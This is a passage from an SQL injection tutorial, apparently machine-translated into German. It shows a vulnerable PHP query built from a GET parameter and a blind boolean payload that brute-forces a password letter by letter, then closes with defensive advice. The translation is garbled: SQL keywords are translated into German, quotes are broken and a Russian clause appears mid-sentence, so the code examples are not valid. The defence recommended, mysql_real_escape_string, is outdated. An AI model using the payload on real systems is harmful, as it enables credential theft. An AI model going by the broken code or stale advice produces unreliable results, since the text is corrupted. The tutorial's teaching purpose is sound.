Daraus ergibt sich der Alterszustand<35 hat keinen Einfluss auf die Probe, weil Der OR-Operator hat eine niedrigere Priorität als der AND-Operator und das WHERE aus der obigen Abfrage kann anders geschrieben werden als WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (Denken Sie daran, dass der Ausdruck WHERE 1 immer wahr ist.) Daher erfüllen sowohl die Zeilen mit cityid="20" als auch die mit age die Bedingung<35, причем наличие последних не обязательно.

Bei komplexen Abfragen erfordern erfolgreiche SQL-Injektionen etwas Kreativität, von Angreifern ist jedoch zu erwarten, dass sie über einiges verfügen.

Abfrageergebnisse werden dem Benutzer nicht angezeigt

Es kann sein, dass eine Abfrage, deren Ergebnisse dem Benutzer nicht angezeigt werden, anfällig ist. Dies könnte beispielsweise eine Hilfsabfrage sein:

$sql = "SELECT count(*)
VON Benutzern
WHERE Benutzer-ID=""
.$_GET [ "userid" ] .""" ;

Die obige Abfrage prüft lediglich, ob ein Benutzer mit einer bestimmten Benutzer-ID vorhanden ist: Wenn sie einen Wert ungleich Null zurückgibt, wird das Benutzerprofil mit der entsprechenden Benutzer-ID angezeigt. Wenn jedoch 0 zurückgegeben wird (d. h., es gibt keine Benutzer, die die Anforderungen erfüllen). Anforderungskriterien) wird die Meldung „Benutzer nicht gefunden“ angezeigt.

In diesem Fall wird das Passwort (oder andere Informationen) durch rohe Gewalt ermittelt. Der Angreifer übergibt die Zeichenfolge als Benutzer-ID-Parameter 2“ UND Passwort WIE „a%. Letzte Anfrage:

SELECT count (*) FROM users WHERE userid=„2“ UND Passwort WIE „a%“

Der Angreifer erhält die Meldung „Benutzer nicht gefunden“, wenn das Passwort nicht mit dem Buchstaben „a“ beginnt, andernfalls die Standard-Benutzerprofilseite. Der erste Buchstabe des Passworts wird durch Brute-Force ermittelt, dann der zweite usw.

Schlussfolgerungen

  • Alle Abfragen, die externe Daten verwenden, müssen vor SQL-Injections geschützt werden. Externe Daten können nicht nur als GET-Parameter übertragen werden, sondern auch mithilfe der POST-Methode, die aus einem COOKIE, von Websites Dritter oder aus einer Datenbank stammen, in die der Benutzer die Möglichkeit hatte, Informationen einzugeben.
  • Alle numerischen Parameter sollten mithilfe von Funktionen explizit in eine numerische Form konvertiert werden intval() Und floatval()
  • Alle String-Parameter sollten mit Escapezeichen versehen werden mysql_real_escape_string() und setzen Sie es in Anführungszeichen.
  • Wenn es schwierig ist, eine SQL-Injection zu konstruieren, sollten Sie nicht damit rechnen, dass der Angreifer nicht herausfindet, wie es geht. Dies gilt insbesondere für Engines, deren Quellcode öffentlich ist.

Viel Glück beim Erstellen sicherer Anwendungen!